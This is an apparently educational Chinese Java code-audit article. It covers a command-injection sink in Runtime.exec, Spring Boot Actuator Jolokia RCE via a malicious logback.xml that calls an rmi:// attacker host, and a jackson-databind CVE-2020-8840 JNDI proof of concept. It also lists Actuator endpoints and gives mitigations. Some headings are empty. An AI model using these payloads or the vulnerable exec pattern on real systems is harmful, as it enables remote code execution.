通过Java执行系统命令,与cmd中或者终端上一样执行shell命令,最典型的用法就是使用Runtime.getRuntime().exec(command)或者new ProcessBuilder(cmdArray).start()。
//漏洞源码 public String CommandExec(HttpServletRequest request) { String cmd = request.getParameter("cmd").toString(); Runtime run = Runtime.getRuntime(); String lineStr = ""; try { Process p = run.exec(cmd); BufferedInputStream in = new BufferedInputStream(p.getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String tmpStr; while ((tmpStr = inBr.readLine()) != null) { lineStr += tmpStr + "\n"; System.out.println(tmpStr); }
漏洞成因分析
流程图显示的代码执行的过程,不难发现我们没有看到过滤参数,判断参数是否输入正确的一系列操作,从而导致的命令执行漏洞
。
说明:
继续阅读下面的内容,你需要补充更多知识。
笔者在此,做一个简单介绍。
推荐文章:
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。
使用老外提供的源码,用mvn编译运行。GitHub项目地址直接访问http://127.0.0.1:8090/jolokia/list
或者修改ip和端口actuator-testbed\src\main\resources\application.properties
上面的reloadByURL
可以加载一个外部URL进而重新加载日志配置,结果造成了RCE。我们需要构造一个恶意logback.xml的URL。
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/httpserver_ip/logback.xml
//下面是logback.xml内容 <configuration> <insertFromJNDI env-entry-name="rmi://artsploit.com:1389/jndi" as="appName" /> </configuration>
rmi和ldap服务都能触发这个漏洞,笔者在这里选择rmi服务。
简单的触发流程流程图:
源码分析
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/httpserver_ip/logback.xml
看上面URL分析reloadByURL
很重要,看一下源码
public void reloadByURL(URL url) throws JoranException { StatusListenerAsList statusListenerAsList = new StatusListenerAsList(); addStatusListener(statusListenerAsList); addInfo("Resetting context: " + loggerContext.getName()); loggerContext.reset(); // after a reset the statusListenerAsList gets removed as a listener addStatusListener(statusListenerAsList); try { if (url != null) { JoranConfigurator configurator = new JoranConfigurator(); configurator.setContext(loggerContext); configurator.doConfigure(url); addInfo("Context: " + loggerContext.getName() + " reloaded."); } } finally { removeStatusListener(statusListenerAsList); if (debug) { StatusPrinter.print(statusListenerAsList.getStatusList()); } } }
不难发现下面三行代码是关键,重置日志配置。
addStatusListener(statusListenerAsList); addInfo("Resetting context: " + loggerContext.getName()); loggerContext.reset();
推荐文章
spring boot actuator rce via jolokia
Attack Spring Boot Actuator via jolokia Part 2关于此漏洞更多的骚操作参考
代码审计关键词
trace
health
loggers
metrics
autoconfig
heapdump
threaddump
env
info
dump
configprops
mappings
auditevents
beans
jolokia
cloudfoundryapplication
hystrix.stream
actuator
actuator/auditevents
actuator/beans
actuator/health
actuator/conditions
actuator/configprops
actuator/env
actuator/info
actuator/loggers
actuator/heapdump
actuator/threaddump
actuator/metrics
actuator/scheduledtasks
actuator/httptrace
actuator/mappings
actuator/jolokia
actuator/hystrix.stream
防护措施
在使用Actuator时,不正确的使用或者一些不经意的疏忽,就会造成严重的信息泄露等安全隐患。在代码审计时如果是springboot项目并且遇到actuator依赖,则有必要对安全依赖及配置进行复查。也可作为一条规则添加到黑盒扫描器中进一步把控。
安全的做法是一定要引入security依赖,打开安全限制并进行身份验证。同时设置单独的Actuator管理端口并配置不对外网开放。
更多防护措施参考SpringBoot应用监控Actuator使用的安全隐患
FasterXML/jackson-databind是一个用于JSON和对象转换的Java第三方库,可将Java对象转换成json对象和xml文档,同样也可将json对象转换成Java对象。
//漏洞POC public class Poc { public static void main(String args[]) { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]"; try { mapper.readValue(json, Object.class); } catch (IOException e) { e.printStackTrace(); } } }
我们查看官方的漏洞源码提交修复记录GitHub地址分析。
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\",{\"asText\":\"ldap://localhost:1389/Exploit\"}]";
public final Object toObject(String text) { if (text == null) { return null; } else { Object value = this.toObjectImpl(this.trim ? text.trim() : text); return value; } }
public final void setAsText(String text) { Object value = this.toObject(this.trim ? text.trim() : text); super.setValue(value); }
思路整理
修复方式
https://github.com/JoyChou93/java-sec-code/wiki
http://www.jianfensec.com/70.html
https://www.cnblogs.com/tr1ple/p/12348886.html
https://github.com/jas502n/CVE-2020-8840
https://github.com/fairyming/CVE-2020-8840